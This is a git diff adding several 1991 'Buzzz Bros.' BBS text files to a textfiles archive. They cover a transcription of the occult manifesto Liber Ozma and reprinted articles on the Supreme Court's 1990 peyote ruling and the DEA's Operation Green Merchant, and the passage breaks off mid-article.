+ + But yet he hates me for being myself. He hates me for questioning the +makers of A One (A-1) Steak Sauce for putting raisins in the recipe. He hates +me for wanting to know why movies and the press call people who like punk as +being "punk rockers", and not just "punks". Am I the victim or the crime? +_______________________ + +-=*/> Buzzz Bros. <\*=- + (c) MCMXCI +_______________________ + diff --git a/textfiles.com/groups/BUZZ/bbros-08.txt b/textfiles.com/groups/BUZZ/bbros-08.txt new file mode 100644 index 00000000..8267d86a --- /dev/null +++ b/textfiles.com/groups/BUZZ/bbros-08.txt @@ -0,0 +1,113 @@ + + + + + *=-- --=* + { the } + -=*/> Buzzz Bros. <\*=- + + present: + + \----------/ + LIBER OZMA + /----------\ + + { Transcription By } + *=-- The Subliminal Kid --=* + + + + + + OOOOOOO "There is no bond + O O that can unite the divided + O O but love: + O O all else is a curse." + OOOOOOO Z M A: + -- AL I:41 + + "Nothing is true. Everything is permitted" + -- Hassan I Sabbah + + "In their rules there was only one clause: DO WHAT YOU WILL" + -- Gargantua, 57 + +"For the cherub with his flaming sword is hereby commanded to leave + his guard at the tree of life, and when he does, the whole of creation + will be consumed, and appear infinite and holy whereas it now appears + finite & corrupt" -- THE MARRIAGE OF HEAVEN & HELL, 14 + +"The Magickal art is the means by which we will storm the gates of heaven" + -- Israel Regardie + + "Every man and every woman is a star."--AL I:3 + + There is no god but humanity. + + 1. People have the right to live by their own law -- + to live in the way that they will to do: + to work as they will: + to play as they will: + to rest as they will: + to die when and how they will. + + 2. People have the right to eat what they will: + to drink what they will: + to dwell where they will: + to move as they will on the face of the earth. + + 3. People have the right to think what they will: + to speak what they will: + to write what they will: + to draw, paint, carve, etch, mould, build as they will: + to dress as they will. + + 4. People have the right to love as they will :- + "take your fill and will of love as ye will, + when, where, and with whom ye will." -- AL I:51. + + 5. People have the right to use force to secure their rights. + + "Know Thyself!" -- Delphic Oracle + + "For how should I be able to govern others, + when I don't know how to govern myself?" -- Gargantua, 52 + + "Love is the law, love under will." -- AL I:57 + + + -------> Tim Moroney <------- + + +A-A-A-A-A-A-A-A-A-A-A-A-A-A-A-A-A-A-A-A-A-A-A-A-A-A-A-A-A-A-A-A-A-A-A-A-A + +Comment: + +OZ ---> Goat +Ma ---> Man - n +n ---> A represents the pentagram. n being a pentagram, incomplete/corrupt. + Pentagram --> 4 elements and spirit triumphant over them. The opp + when inverted, the head of the goat. +\/ \/ \/ \/ \/ +Goat-Man or how the goat may become as a man, as Christ/Buddha/etc... + +Goat ---> triumph of the elements over spiritual essence +Man ---> Potential of man to triumph over the elements (i.e. enter the state +of being called "Christ", the archetypal pentagram, conquering of 'n') +\/ \/ \/ \/ \/ \/ \/ \/ \/ \/ \/ \/ \/ \/ \/ \/ \/ \/ \/ \/ \/ \/ \/ \/ \/ + +"Oz" THEN "Ma" ---> Triumph through application of the command of the +Delphic Oracle, "Know Thyself" or as To Mega Therion put it, "Do What Thou +Wilt!" Note the 'n' is gone. Spirit has triumphed over the elements. + +A-A-A-A-A-A-A-A-A-A-A-A-A-A-A-A-A-A-A-A-A-A-A-A-A-A-A-A-A-A-A-A-A-A-A-A-A-A + +Liber Ozma by Tim Moroney +Comments by me + +_________________________ + + -=*/> Buzzz Bros. <\*=- + (c) MCMXCI +_________________________ + diff --git a/textfiles.com/groups/BUZZ/bbros-09.txt b/textfiles.com/groups/BUZZ/bbros-09.txt new file mode 100644 index 00000000..752ae523 --- /dev/null +++ b/textfiles.com/groups/BUZZ/bbros-09.txt @@ -0,0 +1,398 @@ + + + + *=-- --=* + { the } + -=*/> Buzzz Bros. <\*=- + + present: + + The Supreme Bunch + of INjustices + vs Peyote + Part I of II + + Transcription By + { The Subliminal Kid } + *=-- --=* + + +The following 13 messages, retrieved from PeaceNet, discuss the recent +Supreme Court ruling permitting states to prohibit sacramental use of +peyote. + +Supreme Court Continues Chipping Away At Citizen's 1st Amendment Rights, +Part 1. + ------------------------------------------------------------------------- + Exerpts from the following article detailing the April 17th ruling + by the US Supreme Court which decided that Native Americans could + no longer use peyote in their religious practices: + + + "For all practical purposes, a majority of the Supreme Court has + eliminated the Free Exercise clause of the First Amendment from our Bill + of Rights," said American Jewish Congress Executive Director Henry +Siegman. + + "The court's decision in the peyote case can have the most far- + reaching consequences for all religions, but primarily for religious + minorities," continued Siegman. "It is precisely such minorities the + Bill of Rights sought to protect, for it is they who are particularly + vulnerable to the depredations of momentary and localized majorities." + + + ... Dr. Robert L. Maddox, executive director of Americans United + for Separation of Church and State, said the "Smith" ruling is cause for + concern... + + "We are concerned," he continued, "that this ruling will have a + negative effect on minority religions. Mainstream faiths will probably + have little difficulty getting the exemptions they need; smaller groups + with less political influence will have a tougher time of it. That is + unfortunate. Religious freedom should not be left to the whim of state + and federal lawmakers. + + "No one wants anarchy in the name of religion," he added, "but do we + really want more and more government regulation of religion? What + bothers us most is the movement away from individual liberty and toward + statism--whatever the government wants, goes." + +--------------------------------------------------------------------------- +[2] + The following article appeared in the June 1990 issue of "Church and +State", a publication of Americans United for Separation of Church and State, +8120 + + Fenton St., Silver Spring, MD, 20910, and is reprinted here w/permission. + +----------------------------------------------------------------------------- + + + The Day 'Sherbert' Melted + by Rob Boston + + + Discarding A 27-Year-Old Test For Religious Liberty Cases, The Supreme + Court Says Government May Restrict Religiously Motivated Conduct + + Alfred Smith considers himself apolitical; he's not even registered + to vote. But, in light of what the Supreme Court did April 17, the 70- + year-old Oregonian is ready to jump into politics in a big way. + + The high court ruled 6-3 that day that Native Americans do not have a + constitutional right to use the drug peyote during their religious + ceremonies. Smith, one of the plaintiffs who helped bring the case + before the nation's highest court, is angry--angry enough to take his + fight to the polls. + + "I'm encouraging all people to register and vote this year," Smith + said. "This is the time for it. I have never voted before because I + don't care to condone the system, but I have made a stand here with this + case." + + The political route Smith proposes may be one many members of minority + religions are forced to take in the future, thanks to the Supreme + Court's decision in the "Employment Division v. Smith" case. The + justices' ruling marks an abrupt shift in free exercise jurisprudence, + granting government broad new powers over religious practices. + + What makes the "Smith" decision so significant is that in reaching it + five justices voted to abandon the court's doctrine of "compelling state + interest," a move with far-reaching implications for religious liberty. + + In a nutshell, the 27-year-old doctrine says that the government can + restrict religious freedom only when it proves there is a compelling + interest to do so and that there is no less intrusive alternative + available to achieve the state's goals. The judicial rule grew out of + the 1963 "Sherbert v. Verner" decision and is usually called the + "Sherbert" Test. + + In the recent peyote case the court rejected the "Sherbert" standard + in favor of a much narrower test, holding that government may offer + religiously based exemptions from generally applicable laws if it + chooses, but it is under no constitutional obligation to do so. + + Wrote Justice Antonin Scalia for the majority, "We have never held + that an individual's religious beliefs excuse him from compliance with + an otherwise valid law prohibiting conduct that the State is free to + regulate." [more] + +[3] + Scalia went on to say that applying the doctrine of compelling state + interest in the peyote dispute and similar cases would create "a private + right to ignore generally applicable laws [which would be] a + constitutional anomaly." Rigorous application of the "Sherbert" + approach, he said, would be "courting anarchy." + + Later in the opinion, Scalia admitted that the ruling will force + minority religious groups to seek relief from oppressive laws by + lobbying elected officials, and some may fail in their efforts. But he + excused this as unavoidable. "It may fairly be said," observed Scalia, + "that leaving accommodation to the political process will place at a + relative disadvantage those religious practices that are not widely + engaged in; but that unavoidable consequence of democratic government + must be preferred to a system in which each conscience is a law unto + itself or in which judges weigh the social importance of all laws + against the centrality of all religious beliefs." + + The court majority acknowledged that judicial exemptions from neutral + laws have sometimes been granted for religious reasons. But, Scalia + argued, such exemptions have generally been granted in conjunction with + another constitutional right--such as free speech. He called these + examples "hybrids" and implied they are special cases. Other than that, + said Scalia, the only legal disputes where the "Sherbert" analysis has + been applied consistently and usefully are unemployment compensation + rulings, such as the line of decisions approving jobless benefits for + workers who are fired for refusing to work on their sabbath. + + Ironically the "Smith" case involved just such an unemployment + controversy. It started in 1984 when Smith, a Klamath Indian, and + another man, Galen W. Black, a non-Indian, were fired from their jobs + as drug counselors after the agency they worked for learned the pair had + used the drug peyote during ceremonies in the Native American Church. + + The Council on Alcohol and Drug Abuse Prevention Treatment (ADAPT) had + a policy stating that all employees must be drug free. Smith and Black + thought an exemption would be made for their religious use of peyote, a + mild hallucinogen derived from some cactus plants, but ADAPT officials + saw things differently: Both men were dismissed. [more] + +[4] + When Smith and Black subsequently applied for unemployment benefits, + they were turned down. Officials with the state Employment Division + said the two had been fired for misconduct and therefore did not + qualify. The duo took the case to the courts. + + Four years later the Oregon Supreme Court ruled that the ceremonial + use of peyote is permissible under state law and is even protected by + the First Amendment. The Supreme Court's recent action overturns that + decision. + + The "Smith" majority drew upon a somewhat unusual alignment of + justices. Scalia, Chief Justice William Rehnquist and Justices Anthony + Kennedy and Byron R. White were predictable allies. All four have + argued for a narrower reading of the First Amendment's religious liberty + clauses. + + Justice John Paul Stevens, however, provided the key fifth vote. + Stevens, often thought of as a member of the court's liberal wing, + favors a strict separationist reading of the Establishment Clause, but + has argued in past cases for a less expansive reading of the Free + Exercise Clause. + + Justice Sandra Day O'Connor concurred in the "Smith" outcome, but + wrote a separate dissent that accused the majority of going too far. + "Although I agree with the result the Court reaches in this case, I + cannot join its opinion," asserted O'Connor. "In my view, today's + holding dramatically departs from well-settled First Amendment + jurisprudence, appears unnecessary to resolve the question presented, + and is incompatible with our Nation's fundamental commitment to + individual religious liberty." + + The free exercise of religion, O'Connor added, is a "preferred + + constitutional activity," entitled to "heightened judicial scrutiny." + The "Sherbert" Test, she continued, has worked well to "strike sensible + balances between religious liberty and competing state interests." + + Justices Harry A. Blackmun, William J. Brennan Jr. and Thurgood + Marshall indicated agreement with O'Connor's opinion, although they said + they would have gone further and upheld the Native American Church + members' claim. The court's liberal wing criticized the majority for + "mischaracterizing this Court's precedents" and engaging in a "wholesale + overtuning of settled law concerning the Religion Clauses of our + Constitution." + +[5] + Wrote Blackmun, "One hopes that the Court is aware of the + consequences, and that its result is not a product of over-reaction to + the serious problems the country's drug crisis has generated." + + The justice insisted that ritual peyote use by Native Americans could + be tolerated without jeopardizing the nation's campaign to curb drug + abuse. He noted that the federal government allowed the Roman Catholic + Church to employ sacramental wine at masses during Prohibition. + + Said Blackmun, "I do not believe the Founders thought their dearly + bought freedom from religious persecution a 'luxury,' but an essential + element of liberty--and they could not have thought religious + intolerance 'unavoidable,' for they drafted the Religion Clauses + precisely in order to avoid that intolerance." + + Even though the case dealt with the sensitive issue of drug use, + several religious organizations had sided with the Native American + Church members, most notably the American Jewish Congress, which filed a + friend-of-the-court brief in support of Smith and Black. + + "For all practical purposes, a majority of the Supreme Court has + eliminated the Free Exercise clause of the First Amendment from our Bill + of Rights," said AJC Executive Director Henry Siegman. + + "The court's decision in the peyote case can have the most far- + reaching consequences for all religions, but primarily for religious + minorities," continued Siegman. "It is precisely such minorities the + Bill of Rights sought to protect, for it is they who are particularly + vulnerable to the depredations of momentary and localized majorities." + + Three weeks after the decision the AJC and an extraordinarily diverse + coalition of religious and civil liberties groups filed a petition for + rehearing before the Supreme Court. The petition urged the justices to + hear the case again so the organizations will have the opportunity to + address their free exercise concerns in friend-of-the-court briefs. + + Groups joining the AJC include: the Baptist Joint Committee on Public + Affairs, the National Council of Churches, the National Association of + Evangelicals, People for the American Way, the Presbyterian Church + U.S.A., the American Civil Liberties Union, the Christian Legal Society, + the American Jewish Committee, the Unitarian-Universalist Association, + the General Conference of the Seventh-day Adventist Church, the + + Worldwide Church of God and the Lutheran Church, Missouri Synod. + Americans United for Separation of Church and State also signed the + petition. [more] + +[6] + Attorney Oliver S. Thomas of the Baptist Joint Committee said it is + important that religious and civil liberties groups have the opportunity + to express their views to the court. He said the court's abandonment of + the "Sherbert" Test could have a wide impact. + + "Taxation of church assets, regulation of church schools and child- + care centers, zoning and other land-use questions are all areas of the + law where we've relied upon the compelling state interest test to + provide churches with exemptions," Thomas told the Baptist Press. "With + a stroke of his pen, Justice Scalia has overturned 27 years of legal + precedent and made the 'first liberty' a constitutional stepchild." + + The Rutherford Institute, a conservative legal aid group that + frequently litigates free exercises cases, was also dismayed by the + ruling. Said Institute President John W. Whitehead in a press + statement, "Justice Scalia's opinion rejects the notion that free + exercise of religion is a preferred right. Rather, in most situations + it is valid only when coupled with another constitutional right. + + "Armed with this opinion, a state may draft a law that violates + religious liberty, claim it is `religiously neutral' and those affected + by it may have no recourse under the Constitution." + + Constitutional scholars were particularly amazed that the majority in + the peyote case relied heavily on "Minersville School District v. + Gobitis," a 1940 Supreme Court decision that said Jehovah's Witness + children in public schools could be forced to say the Pledge of + Allegiance. "Gobitis" was overturned three years later in the + "Barnette" decision and has been roundly criticized ever since as one of + the court's biggest mistakes. + + Observed Douglas Laycock, law professor at the University of Texas, + "The court repeatedly quotes "Gobitis" without noting that it was + overruled in "Barnette," and without noting that it triggered a + nationwide outburst of violence against Jehovah' s Witnesses. Until the + opinion in this case, "Gobitis" was thoroughly discredited." + + But not all courtwatchers were chagrined by the ruling. Jules B. + Gerard, a constitutional law professor at Washington University in St. + Louis, told Religious News Service there has been a lot of overreaction. + Gerard said the decision "overturns very little" and accused those who + have protested it of "hysterical talk." [more] + +[7] + Bruce Fein, a conservative constitutional scholar, went even further, + applauding the ruling in a column in "The Washington Times." Fein + wrote, "It is both counter-intuitive and contrary to American political + experience to suppose the "Smith" ruling portends an epitaph for + religious tolerance and accommodation in generally applicable + legislative enactments. And when religion must yield to secular law, + the former continues to prosper." + + + Fein went on to say that religions can drop fundamental tenets and + still survive, pointing out that the Church of Jesus Christ of Latter- + day Saints (the Mormons) in 1890 dumped its support for plural marriage + after the Supreme Court refused to allow the practice for religious + reasons. + + Conservative columnist George Will also was pleased with the "Smith" + decision. "A central purpose of America's political arrangements is the + subordination of religion to the political order, meaning the primacy of + democracy," he observed. "The Founders, like Locke before them, wished + to tame and domesticate religious passions of the sort that convulsed + Europe....Hence, religion is to be perfectly free as long as it is + perfectly private--mere belief--but it must bend to the political will + (law) as regards conduct." + + However, Dr. Robert L. Maddox, executive director of Americans United + for Separation of Church and State, said the "Smith" ruling is cause for + concern. + + "If a majority of the justices did not believe the Native American + Church members had a valid claim, they could have rejected them by + relying on the doctrine of compelling state interest," said Maddox. + "But a majority chose to go much further, effectively weakening the + protection the court has extended to religious free exercise. + + "We are concerned," he continued, "that this ruling will have a + negative effect on minority religions. Mainstream faiths will probably + have little difficulty getting the exemptions they need; smaller groups + with less political influence will have a tougher time of it. That is + unfortunate. Religious freedom should not be left to the whim of state + and federal lawmakers. + + "No one wants anarchy in the name of religion," he added, "but do we + really want more and more government regulation of religion? What + bothers us most is the movement away from individual liberty and toward + statism--whatever the government wants, goes." + + The decision has already had a practical consequence for one minority + faith. Just six days after the "Smith" ruling, the justices, by a 7-2 + vote, ordered the Minnesota Supreme Court to reconsider a recent + decision it made exempting an Amish group from complying with a highway + safety law. [more] + +[8] + Members of the Old Order Amish had protested a state law requiring + them to display orange safety triangles on their horse-drawn buggies. + The Amish said the bright symbols violated their belief in a plain + lifestyle. The Minnesota high court agreed in 1989, but now may be + forced to reverse the "State v. Hershberger" decision in light of the + "Smith" ruling. + + In Eugene, Ore., meanwhile, Al Smith has no more faith in the courts. + After joining about 100 people in a protest of the decision that bears + his name at a Eugene federal building April 20, Smith told reporters he + is backing proposed legislation suggested by state representative Jim + + Edmunson of Eugene that would allow Native Americans to use peyote in + religious rituals in Oregon. If that fails, Smith said, the Oregon + Supreme Court could decide Native American peyote use is permissible + under the state constitution. + + Smith told "Church & State" he is also working with Native American + groups in the United States that are considering filing a protest before + the International Court of Justice (commonly called the World Court) in + The Hague, Netherlands. + + "The United States is saying the original people of this land can't + worship," Smith told Church & State. "We were worshipping a long time + before the white man ever set foot on this turtle island. + + "The issue is not dead, by no means," continued Smith. "I'm not + giving up; I have committed no crime. It's not a crime to pray in the + old way." + + KOYAANISQATSI + + ko.yan.nis.qatsi (from the Hopi Language) n. 1. crazy life. 2. life + in turmoil. 3. life out of balance. 4. life disintegrating. + 5. a state of life that calls for another way of living. [more] + + + ---------> Buzzz Bros. <--------- + See Part Two + +___________________________ + + -=*/> Buzzz Bros. <\*=- + (c) MCMXCI +___________________________ + + diff --git a/textfiles.com/groups/BUZZ/bbros-10.txt b/textfiles.com/groups/BUZZ/bbros-10.txt new file mode 100644 index 00000000..81389d92 --- /dev/null +++ b/textfiles.com/groups/BUZZ/bbros-10.txt @@ -0,0 +1,218 @@ + + + + *=-- --=* + { the } + -=*/> Buzzz Bros. <\*=- + + present: + + The Supreme Bunch + of INjustuces + vs. Peyote + Part II of II + + Transcription By + { The Subliminal Kid } + *=-- --=* + + + +[8] + ------------------------------------------------------------------------- + Exerpts from the following article analyzing the + effects the US Supreme Court ruling on the Native + American Church's use of peyote as being illegal: + + + Native American church members stripped of their rights under the + Constitution are now subject to the will of the legislative branch of + our state and federal governments. Not an enviable place for Indian + people; as a distinct racial and religious minority Indians have always + had an uphill struggle in the halls of Congress and elsewhere to have + their rights recognized and respected. + + The legislative branch of any government is an exceedingly unusual + place for individuals to look to have their rights under the First + Amendment vindicated. Courts are traditionally looked to as protectors + of these rights, against majoritarian legislatures. Justice O'Connor, + in a separate concurring opinion which joined the result of the majority + but sharply criticized its method, reasoned that "the First Amendment + was enacted precisely to protect those whose religious practices are not + shared by the majority and may be viewed with hostility." + + As a result of "Smith," minority religions, in Justice Scalia's + opinion, may be at a disadvantage in the political arena. But that is, + in his estimation, "an unavoidable consequence of democratic + government," preferable to "a system in which each conscience is a law + unto itself." Justice Scalia had to strain to defend his decision, + citing the need to prevent "anarchy" in our democratic society. Indian + + people simply want to be left alone in our society to worship the god of + their choice. Is that asking too much? The Court's decision in "Smith" + strips Indians of their pride and integrity, and makes many of them + criminals in the eyes of the law. Only history will judge the Court's + decision in "Smith;" but for now the remote specter of anarchy may very + well have been the preferred choice. [end of article; more to come] + +[10] + The following article appeared in the Spring 1990 issue of "Native +American Rights Fund Legal Review", a publication of the Native American Rights +Fund, 1506 Broadway, Boulder, CO 80302, and is reprinted here w/permission. + +----------------------------------------------------------------------------- + + + Supreme Court Deals Devastating Blow to Native American Church + by Steve Moore + + + On Tuesday, April 17, 1990, the United States Supreme Court struck a + gut wrenching blow to the religious lives of many of this country's + Native Americans, in a decision which invites the return to an era of + religious persecution one would hope a presumably enlightened and + tolerant society such as ours had left behind. In the case of "Oregon + Department of Employment v. Alfred Smith," Justice Antonin Scalia, + writing for a five member majority, and describing the First Amendment's + Free Exercise Clause as little more than a "negative protection accorded + to religious belief," held that a member of a religious faith may not + challenge under the free exercise clause of the First Amendment to the + United States Constitution a legislature's criminal enactment of + otherwise general application which produces infringement on a + particular religious practice. In the "Smith" case this amounted to a + challenge to the constitutionality of an Oregon drug law which the Court + interpreted as a general criminal prohibition on all uses of the drug + peyote, considered by Indian members of the Native American Church as an + essential sacrament, the physical embodiment of the Great Spirit. + + The Native American Church, which claims over 250,000 members + nationwide, and additional Indian practitioners in Canada and Mexico, + and which can be traced back archaeologically several thousand years in + North America, was not absolutely destroyed or driven underground by the + Court's action. The Court did not go so far as to rule that any state + or federal law exempting the religious, sacramental use of peyote was an + unconstitutional establishment of religion, at the other end of the + religion clauses of the First Amendment. In the Court's terms, a peyote + exemption, while constitutionally *permitted*, is neither + constitutionally *required* or *prohibited*. A kind of constitutional + limbo-land for the Native American Church and its members. [more] + +[11] + In real terms the decision leaves the fate of the peyote religion to + the whim of majoritarian legislatures and Congress. Eleven states + currently have exemptions on the statute books protecting the religion; + another twelve tie their exemption to a federal Drug Enforcement Agency + regulation which rests on questionable foundation since the decision. A + small handful of states, notably California and Nebraska, in which are + located some of the largest Indian and Native American Church + populations, have based their protection on court decisions. The + others, and the federal government through Congress, have no statutory + or common law protection. Indian reservation lands will provide some + safe haven from possible prosecution, given the particular Public Law + 280 configuration in any given state, but problems of transportation of + the sacrament into Indian country through "illegal" territory will + reduce peyote ceremonies to complex and dangerous liaisons. + + Native American church members stripped of their rights under the + Constitution are now subject to the will of the legislative branch of + our state and federal governments. Not an enviable place for Indian + people; as a distinct racial and religious minority Indians have always + had an uphill struggle in the halls of Congress and elsewhere to have + their rights recognized and respected. + + The legislative branch of any government is an exceedingly unusual + place for individuals to look to have their rights under the First + Amendment vindicated. Courts are traditionally looked to as protectors + of these rights, against majoritarian legislatures. Justice O'Connor, + in a separate concurring opinion which joined the result of the majority + but sharply criticized its method, reasoned that "the First Amendment + was enacted precisely to protect those whose religious practices are not + shared by the majority and may be viewed with hostility." [more] + +[12] + A noted scholar of Indian law and philosopher, Felix Cohen, was quoted + several decades ago as saying: "Like the miner's canary, the Indian + marks the shifts from fresh air to poison gas in our political + atmosphere; and our treatment of Indians, even more than our treatment + of other minorities, reflects the rise and fall in our democratic faith + ...." Cohen's words become even more prophetic after the Court's + decision in "Smith." The "Smith" decision may perhaps portend even + greater persecution for other forms of Indian religious expression. + Examples which come to mind include: the wearing of long hair by Indian + students in public schools, and by Indian prisoners in federal and state + prisons; missing school on a regular basis for cultural/religious + ceremonial purposes; the taking of game by Indians out season, when not + otherwise protected by treaty; burning wood to heat rocks for sweat- + lodge ceremonies, when burning is otherwise outlawed by local ordinance + during times of high pollution; and body piercing as part of the Sun + Dance ceremony. If these forms of religious expression are otherwise + prohibited by general criminal laws, the First Amendment no longer + provides a basis from which to claim protection from religious + infringement. As with peyote use, reservation boundaries will provide a + buffer from the application of state law, except where Public Law 280 + legitimizes intrusion. + + As a result of "Smith," minority religions, in Justice Scalia's + opinion, may be at a disadvantage in the political arena. But that is, + in his estimation, "an unavoidable consequence of democratic + government," preferable to "a system in which each conscience is a law + unto itself." Justice Scalia had to strain to defend his decision, + citing the need to prevent "anarchy" in our democratic society. Indian + people simply want to be left alone in our society to worship the god of + their choice. Is that asking too much? The Court's decision in "Smith" + strips Indians of their pride and integrity, and makes many of them + criminals in the eyes of the law. Only history will judge the Court's + decision in "Smith;" but for now the remote specter of anarchy may very + well have been the preferred choice. [end of article; more to come] + +[13 of 13] +STATEMENT FROM PACIFIC NORTHWEST CHURCH LEADERS WHO SUPPORT INDIAN RELIGIOUS +RIGHTS Re: Employment Division, State of Oregon v. Al Smith, Galen Black, +88-1213 + + The recent U.S. Supreme Court decision regarding the sacramental use of +peyote in Native American religious rites is unfortunate and deeply +disappointing. We support the right of Native Americans to practice their +religion as they have for centuries. We concur with Justice Harry Blackmun, +who writing for the dissent, called the decision a "wholesale overturning of +settled law concerning the religious clauses of our Constitution." The +decision jeopardizes the fundamental right of all citizens to exercise +freedom of religion free from government restraint. We will continue to +work with Native Americans to help them protect their religious rights. + +The Most Rev. Raymond G. Huthausen Archbishop of Seattle Roman Catholic +Archdiocese of Seattle + +The Right Rev. Vincent W. Warner, Bishop Episcopal Diocese of Olympia + +The Most Rev. Thomas Murphy, Coadjutor Archbishop Roman Catholic Archdiocese +of Seattle + +The Rev. John Boonstra, Executive Minister Washington Association of +Churches + +The Rev. Calvin D. McConnell, Bishop United Methodist Church Pacific NW +Conference + +The Rev. W. James Halfaker, Conference Minister Washington-Idaho Conference +United Church of Christ + +The Rev. Lowell Knutson, Bishop NW Washington Synod Evangelical Lutheran +Church In America + +The Rev. Dr. William B. Cate, President Director Church Council of Greater +Seattle + +The Rev. Gaylord Hasselblad, Executive Minister + +American Baptist Churches of the Northwest + +These church leaders issued an apology to Indians that was carried in the +Winter 1988 NARF Legal Review + +__________________________ + + -=*/> Buzzz Bros.<\*=- + (c) MCMXCI +__________________________ + diff --git a/textfiles.com/groups/BUZZ/bbros-11.txt b/textfiles.com/groups/BUZZ/bbros-11.txt new file mode 100644 index 00000000..5b1a7bc8 --- /dev/null +++ b/textfiles.com/groups/BUZZ/bbros-11.txt @@ -0,0 +1,327 @@ + + + + *=-- --=* + { the } + -=*/> Buzzz Bros. <\*=- + + present + --------- + High-Witness News + May '91 No.189 + + Green Merchant: The First 18 Months + + by Peter Gorman + + Transcription By Havoc + + Originally appearing in HIGH TIMES, May 1991 + { } + *=-- --=* + + + When Operation Green Merchant first broke 18 months ago, no one was +sure of where it was going or what the extent of it would be. Now we know that +its ostensible aim was to shut down this country's burgeoning indoor +marijuana-cultivation industry; that during its execution the government +decimated several of the freedoms guaranteed by the Constitution; that one +magazine was put out of business and another thrown into financial straits; +that several garden-supply stores and businesses were seized by the government +without their owners being charged with criminal activity; and that more than +100,000 American citizens -- whose only connection with the operation was the +purchase of gardening equipment -- came under federal investigation. + + Green Merchant was designed to link the sources of information +regarding indoor marijuana cultivation -- HIGH TIMES and 'Sinsemilla Tips -- +with indoor growers in a criminal conspiracy. The connection of the two was +thought to be that the gardening centers advertised in both magazines. + + The logistics of the operation were these: during a two-year period +beginning in late '87, the DEA sent agents to 81 stores and mail-order houses +specializing in indoor-gardening supplies, asking for information regarding the +growing of marijuana. While most of the store owners refused to have anything +to do with the agents once they made their blatently illegal requests, a +handful responded positively , and a few of those apparently even provided +seeds to the undercover agents. + + Those few positive responses provided the DEA with the legal leverage +it needed to subpeona UPS shipping records from a number of those stores. An +investigation of a portion of the names provided by those records turned up a +number of illegal indoor-marijuana growers. + + For the DEA, the link had been made: They now had proof that some of +the consumers who purchased indoor-gardening supplies from the stores and +mail-order houses which advertised in HIGH TIMES and 'Sinsemilla Tips' were +indeed using gardening equiptment to illegally produce marijuana. The stage +was set for the Operation to go public. + + + -=*/> Main Objectives <\*=- + + The government succeeded in shutting down 'Sinsemilla Tips'. Tom +Alexander, whose Full Moon garden-supply store was seized during the early +stages of Green Merchant -- without him being charged of anything -- was unable +to continue publishing after all his advertisers either went out of business or +were threatened with charges if they continued advertising with him. + + HIGH TIMES continues to publish despite the loss of revenue from those +same advertisers. But once it became apparent that HT would not fold, and in +fact sales were increasing, a federal investigation was launched in New Orleans +which attempted to make HT a co-conspirator with both the Seed Bank and the +indoor growers. That investigation was dropped some months ago when the +government failed to get an indictment. + + On June 24, 1990, Nevil Schoenmakers, who legally operated the Seed +Bank (another HIGH TIMES advertiser) in Holland, was arrested by the Australian +authorities at the behest of the US government while visiting family in Perth. +A 44-count indictment was lodged in New Orleans, charging him with the sale of +marijuana seeds to undercover agents and indoor growers in the New Orleans area +in 1989. He has been detained awaiting the results of an extradition hearing +-- while not charged with anything -- in Australia since June. + + + -=*/> Incidental Casualties <\*=- + + George Warren owned six Northern Lights garden centers in New York, +Ohio and Pennsylvania. On October 24, 1989, he was visited in his flagship +store by a man who asked about purchasing lights and hydroponic systems. +During the course of the conversation the man, who turned out to be a DEA +agent, inquired about acquiring marijuana seeds. Warren told the man he wasn't +in that business; the man persisted, and Warren told him there were probably +magazines he could look into for that kind of information, then excused himself +to answer a phone call in his office. The man followed him into the office and +passed him a note asking for 200 seeds. Warren asked the man to leave the +store. + + The following day, the agent returned and made a small purchase, again +sought seeds and was again informed that he couldn't get them there. + + The next day, nine DEA, Alcohol Tobacco & Firearms and local-authority +agents arrived at Warren's main store armed with a warrant for business +records, grow lights, hydroponic systems and other inventory that might be used +to grow marijuana. That same day, the process was repeated at each of Warren's +stores; by evening he'd lost inventory valued at nearly $200,000. Warren +himself, however, has never been arrested in connection with the seizures, and +continues to fight for the return of his inventory. + + Reached recently at home, Warren was furious. "My feeling is that if +I've done anything wrong, arrest me. If not, give me back my merchandise. +There's nothing illegal about lights. What are they going to do with them +anyway?" + + "Sell them at auction," he was told. + + "Wait a minute," he replied. "You mean they confiscate my merchandise +because they think someone will grow pot with it, and then they sell it to +someone else?" + + "That's how it works." + + + The owner of a large West Coast mail-order gardening-supply center +tells a similar story. On October 26, 1989, the DEA and state police arrived +at his warehouse with warrants for business records and computers. They +padlocked the warehouse and began forfeiture proceedings for the nearly $1 +million worth of inventory, the warehouse itself and the property it was +located on. + + The owner, who asked to remain anonymous, was also never arrested. Ten +months later, the prosecuter in the forfeiture case gave the owner's lawyer a +list of 20 misdemeanors, which he said he would prosecute if the man continued +to fight the forfeit. The choice was simple: Fight and lose thousands of +dollars in legal fees -- as well as risk one year in jail for each count he +might be convicted on -- or give up the fight and walk away. His lawyer +advised him to walk away, suggesting that of 20 counts it wasn't unlikely that +he could lose at least one of them, and conviction on even a single count would +mean losing the forfeiture case anyway. The man took his lawyer's advise and +walked. + + While not all prosecutors are willing to go to such lengths to seize +property, the federal and civil laws regarding forfeiture certainly make it +appealing for them to do so in cases where the forfeited items are of value. +In federal cases, the agencies involved receive 75 percent of the monies +eventually generated through the auction of forfeited goods; the remaining 25 +percent is divided between the prosecutor's office and any local agencies +involved in the seizure. Civil forfeiture cases divide ALL the monies between +the prosecutor's office and the local authorities involved. + + Dan Viets, a defense attorney who has won a number of Green Merchant +cases, says that while "the idea of forfeiture is not new, the idea of giving +the money to the police and prosecutors is. Forfeiture is an abuse. A lot of +people don't really understand that it's going on." + + Forfeiture doesn't just affect businesses. One of Viets' clients, a +former law-enforcement officer, stands to lose his whole farm because 37 +marijuana plants were found growing on it. Another of his cases involved a +couple found with four pot plants, who have had their 11 acre farm forfeited as +a result. Viets is optimistic about both cases. + + "A lot of people don't fight forfeiture because they don't think they +can win," he says. "But even though the burden of proof is not very high of +the state's part, they still have to prove that the forfeited items were at +least probably derived from the monies generated by illegal activity. And +that's not always easy." + + The horror of the prosecution of Green Merchant case's wasn't limited +to forfeiture: One couple had their parental rights terminated for growing pot +at home; several school teachers and at least one nurse lost their state +licenses; others simply got caught up in the legal system, and found that +trying to extricate themselves nearly ruined them. + + Tom and Sara Williams were visited because their names were on the one +of the confiscated store mailing-lists. When the DEA arrived they tore the +Williams' house apart, eventually finding seven plants. Though their case was +later reduced from felony possesion of an illegal substance to a guilty plea on +one misdemeanor, paraphernalia-possession (the warrant was faulty), the +Williamses hadto spend nearly $7,000 in bonds and legal fees. + + The list goes on. There are hundreds of horror stories which came out +-- and are still coming out -- of Green Merchant: People whose lives were +disrupted or destroyed by the government in an attempt to shut down two +magazines and a seed house. + + + -=*/> Repercussions <\*=- + + While the obvious targets of the Operation were HIGH TIMES, 